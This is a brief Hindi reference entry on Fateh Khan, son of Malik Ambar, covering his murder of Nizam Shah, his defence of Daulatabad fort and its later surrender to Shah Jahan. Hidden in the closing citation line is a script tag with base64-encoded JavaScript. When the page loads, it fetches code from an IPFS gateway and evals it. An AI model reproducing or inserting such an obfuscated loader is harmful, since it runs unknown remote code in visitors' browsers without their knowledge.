फ़तेह ख़ाँ (मलिक अम्बर पुत्र)

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फ़तेह ख़ाँ मलिक अम्बर का पुत्र था, जो अहमदनगर के निज़ामशाही वंश का वर्षों तक वज़ीर रहा। फ़तेह ख़ाँ के अन्दर अपने पिता के समान वफ़ादारी नहीं थी। वह अहमदनगर के उपान्तिम शासक मुरतज़ा निज़ामशाह द्वितीय का वज़ीर था।

  • फ़तेह ख़ाँ ने 1630 ई. में निज़ामशाह की हत्या कर उसके युवा पुत्र हुसेन को अहमदनगर का शासक घोषित कर दिया।
  • 1631 ई. में उसने बड़ी बहादुरी के साथ मुग़ल सम्राट शाहजहाँ की फ़ौज से दौलताबाद दुर्ग की रक्षा की।
  • मलिक अम्बर ने दौलताबाद की बड़ी ही मज़बूत क़िलेबंदी की थी।
  • मुग़ल सम्राट शाहजहाँ ने 1633 ई. में फ़तेह ख़ाँ को लालच दिया।
  • लालच में आकर फ़तेह ख़ाँ ने दौलताबाद का दुर्ग मुग़ल सम्राट के हवाले कर दिया।
  • शाहजहाँ ने अहमदनगर के अन्तिम निज़ामशाह हुसेन को ग्वालियर के क़िले में आजीवन क़ैद रखा।
  • फ़तेह ख़ाँ मृत्यु पर्यन्त मुग़ल बादशाह की सेवा में ही रहा।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 253 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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